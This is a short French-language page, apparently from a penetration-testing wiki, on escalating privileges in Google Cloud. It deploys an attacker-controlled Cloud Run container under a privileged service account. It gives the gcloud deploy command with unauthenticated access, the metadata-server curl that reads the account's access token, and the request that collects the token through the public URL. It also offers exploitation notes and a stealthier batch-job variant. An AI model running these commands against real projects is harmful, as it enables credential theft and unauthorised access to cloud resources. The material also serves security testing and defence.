Cloud Run

Déployer un service ou une tâche Cloud Run avec run.services.create plus actAs, exécutant des conteneurs de l'attaquant en tant que compte de service attaché.

1 min de lecturemis à jour le 12 oct. 2026florianamette1 contributeur
Demander à votre assistant (MCP)Modifier sur GitHub

Avec run.services.create (ou run.jobs.create) et actAs sur un compte de service, vous déployez un conteneur qui s'exécute en tant que ce compte. Pointez-le vers une image que vous contrôlez et lisez le jeton depuis le serveur de métadonnées à l'intérieur du conteneur.

Déployer un service en tant que compte privilégié#

bash
gcloud run deploy pwn --image=gcr.io/<your-project>/leak --region=<region> \
  --service-account=<privileged-sa>@<project>.iam.gserviceaccount.com --allow-unauthenticated
# the container fetches the token:
# curl -H "Metadata-Flavor: Google" \
#   http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
curl "$(gcloud run services describe pwn --region=<region> --format='value(status.url)')"

Une tâche Cloud Run est l'équivalent batch plus discret (gcloud run jobs create ... --execute-now) lorsque vous ne voulez pas d'URL publique.

Notes d'exploitation#

  • L'image peut résider dans votre propre projet si le compte de déploiement peut la récupérer ; sinon, poussez-la vers un dépôt que le projet cible peut lire.
  • --service-account exerce actAs ; omettez-le et le service s'exécute en tant que compte Compute par défaut.
  • Les Cloud Functions Gen2 sont des services Cloud Run, les deux chemins convergent donc.

Outils#

  • gcloud (run deploy, run jobs create, run services describe) : déployer et atteindre le service.

Références#